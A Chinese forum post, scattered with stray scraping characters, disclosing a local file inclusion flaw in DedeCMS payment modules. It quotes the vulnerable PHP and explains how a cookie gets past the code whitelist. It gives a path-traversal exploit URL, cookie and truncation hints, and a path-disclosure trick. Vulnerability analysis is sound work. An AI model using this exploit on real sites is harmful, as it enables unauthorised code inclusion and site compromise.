晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯), v. P- }* d; H4 [
8 j! e% | \$ ^' O* y+ {出现漏洞的两个文件为:: g. r7 ~. R, E$ r$ n* p6 K
Include/payment/alipay.php
( i) C! |- S2 l% eInclude/payment/yeepay.php8 t6 Z1 Q8 I) K) x4 Z* m
漏洞均出现在respond方法里,估计这两个文件是临时工写的。0 S2 f" r+ H l* R
: W- G$ w3 ^' j
Include/payment/alipay.php
! p+ s3 m6 o. B2 d& C% i$ X
; M' G$ A4 Q) [5 E% S% r......
, _2 C5 D2 d& N* O* U function respond()% j# [/ }' W2 Z1 L
{" ]. X# f! A- F
if (!empty($_POST))
\2 \0 X, j7 N g: i { P6 ]5 o# s u! f* h
foreach($_POST as $key => $data)
; p- Y/ J9 y. |0 g: u( O {; Y& J, _* K& X6 x$ r8 X3 I( E9 c
$_GET[$key] = $data;" o2 B' M8 b F" S/ S* j+ ]. U+ Z
}& z7 o8 d4 [. L" L# [
}
$ u2 e1 ^% o# Z9 ]! e- o+ | /* 引入配置文件 */
6 q5 P& z- j- w# r3 a0 D require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
+ N, O& G/ s( C3 y! F" P...... - H$ |7 C0 ?4 O' E
5 t8 W8 A1 }0 Y% r' }
" y0 ^+ c2 j r6 L5 w& L* ~大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
: l& q& j; D" I! P) x0 x
. M7 a. }" S$ Q; nInclude/payment/yeepay.php) e, [( y/ F a; Y) N b; h
) J/ A, n" q9 ?/ r
+ t1 a- K' R: C! \! Z/ \# c4 W Z7 ^
. B/ P- D6 a, y5 U& N......3 P: P7 e- P/ v5 n! B0 o
function respond()( m m8 U8 n; W. U, @ v# c& e
{
& ^% x5 z, j0 A8 ` ; [1 h: |9 q2 H
/* 引入配置文件 */3 \6 k5 V3 R# {# T" o: I1 Z6 ?
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
& z: R, X, A, q* j2 X. T: |2 v' M. Q* K & W2 M; i/ J0 F- v( ?
$p1_MerId = trim($payment['yp_account']);/ f0 Y8 y$ ~* i3 j: T9 k/ P; _
$merchantKey = trim($payment['yp_key']);2 l' X. K7 u9 _8 J
......
8 C/ }" s$ J, w9 k' v. A0 r+ J
* P! K3 y8 X. o9 f' R# f% r1 [% E, X1 M" b! |
. E% W- C# W3 B' `9 ]) m& x! I$ f8 M4 h( L4 A* V
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。# ^- y" b1 C% J% N6 J
9 `/ w8 a0 w" r1 {0 r1 i1 M
这两个方法在plus/carbuyaction.php文件调用。6 ? s; |. l% X( `! v& n# V
- l0 [+ @7 t4 ~3 Oplus/carbuyaction.php2 x3 ?% }+ N5 c1 {7 V4 p0 l/ u4 y
$ o: E f, F4 }2 m& ?7 o" T4 s......
- A( k3 u; s! p/ s7 g} else if ($dopost == 'return') {7 }( T" s9 c$ ^( Y0 u5 z2 f4 N9 s
$write_list = array('alipay', 'bank', 'cod', 'yeepay');4 L0 ?; q$ c/ ~3 w
if (in_array($code, $write_list))
& O4 l& e& Y4 Y# u8 t, ~ {% A' @! m# T# ]& W- W: s
require_once DEDEINC.'/payment/'.$code.'.php';4 G/ F; U$ |7 E+ r) W6 q
$pay = new $code;, j+ I9 w& j$ D7 W$ ~! u+ X. B5 G
$msg=$pay->respond();, y, j: p7 ] V4 q B0 N5 D$ u
ShowMsg($msg, "javascript:;", 0, 3000);" m# [( n% ~* C' d2 z4 o W
exit(); 2 K$ e, K1 R4 o+ G( F$ i! Z d1 [
} else {
" W* K" U" W* u# }/ k8 z0 ? exit('Error:File Type Can\'t Recognized!');; u0 C+ i! A% b, {
}+ x0 x* J4 u. V7 L
}9 F, g) i* t+ G! S
......
, Q/ y; A9 F% _1 j, P; x 0 h* o k* e7 v- I. _
1 G! I, G/ g' S9 Y, l
: r3 [# V# M% ?% H$ \
R8 Y2 |0 n" _ & \( I9 R% ?6 K9 {5 U! p" V: v
7 V5 L' k" k5 R% s$ R( Z" Z' H% B
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。4 |' h1 F/ s: t6 Y V9 ~) V
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。: d7 t% t7 w8 r' J
9 q$ b0 S" _, x回到include/common.inc.php来看看他的机制。
; M9 j: b# g& G9 o4 W7 L1 x1 }% q
b2 j, s0 q( c1 a Z& K
7 W! V. U% H4 [% E M% i8 [8 W6 N4 k% B, a5 ^5 f2 K# N+ q5 u
......# Q V( ^& ~: D
foreach(Array('_GET','_POST','_COOKIE') as $_request)% x+ ]2 R2 O6 p- [1 B7 z+ p( R* N& k
{
6 `3 z2 H0 S2 u7 @$ V. {# z# o foreach($$_request as $_k => $_v)
8 h0 B, G- f5 n4 i! y {8 A# q4 _) U, t! Y
if($_k == 'nvarname') ${$_k} = $_v;
" P+ B* V7 k0 {" y2 s5 K+ o: Z else ${$_k} = _RunMagicQuotes($_v);
! f2 m0 s6 g) f% J G+ L }
' h/ d- c1 }. k& d3 V}! s& m0 H5 o: l
...... ; d# k! s& u2 H/ a; i: M
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. O' N g# L! |. R! N3 C8 i8 F& O
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |